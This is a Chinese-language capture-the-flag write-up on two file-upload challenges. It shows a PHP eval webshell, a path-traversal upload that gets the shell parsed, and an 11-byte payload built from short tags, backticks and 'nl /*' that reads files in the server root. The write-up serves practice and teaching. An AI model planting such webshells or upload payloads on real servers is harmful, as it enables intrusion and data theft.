第一届贵州理工校赛--ez-upload&&ez-upload-plus

最近复习完文件上传的漏洞靶场,那么就要用题目来进行巩固一番,贵州理工校赛是我写博客的起点啊,其中两道题因为那时还没有怎么接触,所以没有做出来,那么现在就要去把它搞定了,那么就开搞吧。

靶场地址:https://www.qsnctf.com/

一、ez-upload

题目提示:当前目录无法解析,说明其文件上传和目录穿越的结合

可以看到题目提示随便传,那么直接传一句话木马

php 复制代码
<?php eval($_POST['cmd']); ?>

可以看到上传成功,那么试一下访问

发现并没有进行解析,那么就需要进行目录穿越,首先就是需要试一下目录穿越的功能点在哪

最后尝试在下面12.php那里可以进行目录穿越,如下所示

可以看到上传成功了,那么进行访问

可以看到解析成功了,那么使用蚁剑进行连接即可

连接成功,那么寻找flag即可,或者使用下面命令可以直接输出

bash 复制代码
cat /f*

ok,此题的难点在于需要寻找到目录穿越的功能点,然后就简单。

二、ez-upload-puls

此题的难度结合了上一题的解题思路,还有在上传文件时检验文件的长度,如下所示

可以看到一句话木马也太大,说明检验其长度,那么就需要进行不断地尝试了

那么从两张图可以看出文件字节数不大于11字节,那么这里又要进行考虑了,只能少于11字节的话那么如何上传一句话木马呢,毕竟<?php ;?>这里都八个字节了,并且还要执行系统命令,php执行系统命令的函数都要大于3字节了。那么这里就介绍php中另一种执行系统命令的方式

1、php短标签和反引号

php短标签(Short Open Tags)

PHP 短标签是一种简化的代码起始 / 结束标记,目的是减少代码冗余,常见于快速输出内容的场景。

1. 常见形式及作用
  • <? ?> :替代完整标签<?php ?>,用于包裹 PHP 代码。例:<? echo "hello"; ?> 等价于 <?php echo "hello"; ?>

  • <?= ... ?> :这是<? echo ... ?>的简写(最常用!),专门用于快速输出变量或表达式的值。例:<?= "hello" ?> 等价于 <?php echo "hello"; ?>,输出结果为hello

2. 关键
  • 字节极短<?= ?> 仅占 3 个字符(<?=),比完整标签<?php echo ...; ?>节省大量字节,这也是你在 "文件内容≤11 字节" 限制下能使用它的核心原因。
  • 默认支持 :虽然早期 PHP 需要在php.ini中开启short_open_tag配置,但现代 PHP(5.4+)中,<?= ?> 始终可用(不受short_open_tag影响),因此几乎所有环境都能直接运行。
反引号():执行运算符

PHP 中的反引号(,注意不是单引号')是执行运算符,专门用于执行系统命令并返回命令的输出结果。

1. 作用及用法

反引号包裹的内容会被当作系统命令执行,执行结果会作为字符串返回。例如:

php 复制代码
<?= `ls /`; ?>  // 等价于 <?php echo shell_exec('ls /'); ?>
  • 这里反引号内的ls /是 Linux 命令,执行后会返回根目录的文件列表;
  • 结合短标签<?= ?>,就能直接输出命令的执行结果(这正是你上传文件后能看到目录内容的原因)。

那么这里我们就可以构建payload了,使用语句如下

php 复制代码
<?=``;

在反引号里面我们就可以执行系统命令,?>是可以省略的。

那么如下图所示,记住这里也包含了上一题的目录穿越,不然上传的无法解析

那么进行访问一下

可以看到flag了,那么有出现了一个问题,就是怎么读取flag,我们要时刻考虑的是,在我上面构造的payload中

php 复制代码
<?=``;

这是基础的,如果你的条件不符合这个,那么是不会解析的。我们可以数数,上面的语句已经占了六个字节,那么也就是说我们需要使用五个字节去读取flag,那么就常见的读取文件内容payload,我们在上面的上传的文件已经知道了flag在根目录,那么读取flag就需要

bash 复制代码
cat /f*

七个字节,无法上传,空格是不可以去掉的,/是代表根目录,也是无法去除的,那么有没有更短的读取文件的命令呢。哎,就有那么一个,nl

nl命令

nl 是 Linux/Unix 系统中的常用文本处理命令,核心功能是 为文件内容添加行号并输出 ,比 cat -n 更灵活(支持自定义行号格式、空行是否编号等)。它在日常文本处理和 CTF 命令执行场景中都可能用到,尤其适合需要快速定位行内容的场景。

1.基本语法
复制代码
nl [选项] 文件名

如果不指定文件名,默认读取标准输入(可通过管道符 | 接收其他命令的输出)。

那么将上面的payload换成nl,如下所示

bash 复制代码
nl /f*

六个字节,还差一个,那么这里就需要知道读取文件的一个特性,就是如果在读取文件命令后面只是加上所在目录,但是没有文件名,然后再加上通配符*,那么命令就会读取所在目录所有可读的文件并输出,语句如下

bash 复制代码
nl /*

此命令的意思是读取根目录下所有可读文件并输出,并且是五个字节,符合长度,如下所示

成功读取,此题结合了很多的知识,短标签,反引号,nl命令等,难度还是有点的。

相关推荐
kali-Myon2 天前
NewStarCTF2025-Week1-Misc
安全·ctf·misc
kali-Myon3 天前
NewStarCTF2025-Week2-Pwn
算法·安全·gdb·pwn·ctf·栈溢出
kali-Myon4 天前
NewStarCTF2025-Week2-Web
web安全·sqlite·php·web·ctf·文件上传·文件包含
亿.64 天前
羊城杯 2025
web·ctf·writeup·wp·羊城杯
unable code6 天前
攻防世界-Web-unseping
网络安全·web·ctf
unable code6 天前
攻防世界-Web-shrine
网络安全·web·ctf
风语者日志8 天前
CTF攻防世界WEB精选基础入门:command_execution
web安全·网络安全·ctf·小白入门
爱隐身的官人9 天前
PWN环境配置
windows·pwn·ctf
unable code12 天前
攻防世界-Web-easyupload
网络安全·web·ctf